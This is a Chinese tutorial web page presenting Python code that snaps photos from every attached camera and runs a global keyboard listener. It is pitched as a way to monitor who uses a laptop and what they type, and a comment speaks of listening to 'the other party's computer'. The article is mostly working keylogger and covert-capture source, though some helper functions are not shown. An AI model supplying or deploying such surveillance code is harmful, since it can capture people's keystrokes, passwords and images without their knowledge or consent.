使用Python实现全摄像头拍照与键盘输入监听功能

 更新时间:2023年08月22日 09:16:25   作者:冥天肝  
这篇文章主要介绍了使用Python实现全摄像头拍照与键盘输入监听功能,本文通过实例代码给大家介绍的非常详细,对大家的学习或工作具有一定的参考借鉴价值,需要的朋友可以参考下

一、序

使用Python实现笔记本电脑对使用人的监测,记录下输入的字符与使用人是谁

二、实现代码

摄像头拍照

def show_in_cv(camera_id):
  # 获取当前日期和时间
  setTime()
  DayPaths = SavePath + f'\{formatted_date}'
  fileOrNone(DayPaths)
  datePaths = DayPaths + f'\{formatted_time}'
  fileOrNone(datePaths)
  cap = cv.VideoCapture(camera_id, cv.CAP_DSHOW)
  # cap.set(cv.CAP_PROP_FRAME_WIDTH, 960)
  # cap.set(cv.CAP_PROP_FRAME_HEIGHT, 540)
  # cap.set(cv.CAP_PROP_FPS, 30)
  suc, frame = cap.read()
  # 纯英文路径保存方法
  # cv.imwrite(f'{datePaths}\{camera_id}.jpg', frame)
  # 中文路径保存方法
  cv.imencode('.jpg', frame)[1].tofile(f'{datePaths}\{camera_id}.jpg')
  # 弹窗展示功能
  # cv.imshow("preview camera", frame)
  # cv.waitKey(30)
def cameraMain():
    # cameras = list_video_devices()
    # print(f'\n\n===========================\ncamera_list: {cameras}')
    # print(cameras)
    # idx = 1
    # camera_id = cameras[idx][0]
    # camera_name = cameras[idx][1]
    # print(f'\n\n===========================\npreview camera: camera_id={camera_id} camera_name={camera_name}')
    # show_in_cv(camera_id)
    cameras = list_video_devices()
    for idx in cameras:
        camera_id = idx[0]
        camera_name = idx[1]
        show_in_cv(camera_id)
if __name__ == '__main__':
    cameraMain()

键盘监听

CODE = ""
# 一直监听对方电脑的键盘输入
# 处理键盘输入的数据
def on_release(key):
    global CODE
    try:
        CODE += key.char
        # print(key)
    except Exception as e:
        try:
            if key == key.enter:  # 如果扫码枪中的数据是回车enter按键
                print(CODE)
        except Exception as e:
            CODE = ""
def getCODE():
    return CODE
# 监听键盘扫码枪输入
def returnCode():
    with keyboard.Listener(on_release=on_release) as listener:
        listener.join()
if __name__ == '__main__':
    returnCode()

到此这篇关于使用Python实现全摄像头拍照与键盘输入监听的文章就介绍到这了,更多相关Python全摄像头拍照与键盘输入监听内容请搜索脚本之家以前的文章或继续浏览下面的相关文章希望大家以后多多支持脚本之家!

相关文章

  • python fuzzywuzzy模块模糊字符串匹配详细用法

    python fuzzywuzzy模块模糊字符串匹配详细用法

    这篇文章主要介绍了使用Python完成公司名称和地址的模糊匹配的实现,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面随着小编来一起学习学习吧
    2019-08-08
  • Django admin model 汉化显示文字的实现方法

    Django admin model 汉化显示文字的实现方法

    今天小编就为大家分享一篇Django admin model 汉化显示文字的实现方法,具有很好的参考价值,希望对大家有所帮助。一起跟随小编过来看看吧
    2019-08-08
  • python selenium中Excel数据维护指南

    python selenium中Excel数据维护指南

    这篇文章主要给大家介绍了关于python selenium中Excel数据维护的相关资料,文中通过实例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友可以参考下
    2022-03-03
  • 对Python 2.7 pandas 中的read_excel详解

    对Python 2.7 pandas 中的read_excel详解

    今天小编就为大家分享一篇对Python 2.7 pandas 中的read_excel详解,具有很好的参考价值,希望对大家有所帮助。一起跟随小编过来看看吧
    2018-05-05
  • python 如何将office文件转换为PDF

    python 如何将office文件转换为PDF

    这篇文章主要介绍了python 如何将office文件转换为PDF,帮助大家更好的理解和使用python,感兴趣的朋友可以了解下
    2020-09-09
  • Pyramid添加Middleware的方法实例

    Pyramid添加Middleware的方法实例

    在pylons的文档中,有专门讲过如何添加自己的Middleware, 通过这些Middleware, 我们可以改变输入和输出。这也是WSGI(Web Server Gateway Interface)的优势和精髓所在,那么在pyramid中,我们如何添加Middleware呢
    2013-11-11
  • Python实现的二维码生成小软件

    Python实现的二维码生成小软件

    这篇文章主要介绍了Python实现的二维码生成小软件,使用wxPython、python-qrcode、pyqrcode、pyqrnative等技术和开源类库实现,需要的朋友可以参考下
    2014-07-07
  • python实现随机漫步算法

    python实现随机漫步算法

    这篇文章主要为大家详细介绍了python实现随机漫步算法,具有一定的参考价值,感兴趣的小伙伴们可以参考一下
    2018-08-08
  • Python如何根据关键字逐行提取文本内容问题

    Python如何根据关键字逐行提取文本内容问题

    这篇文章主要介绍了Python如何根据关键字逐行提取文本内容问题,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教
    2023-08-08
  • Python语法分析之字符串格式化

    Python语法分析之字符串格式化

    这篇文章主要给大家介绍了关于Python语法分析之字符串格式化的相关资料,文中通过示例代码介绍的非常详细,对大家学习或者使用Python具有一定的参考学习价值,需要的朋友们下面来一起学习学习吧
    2019-06-06

最新评论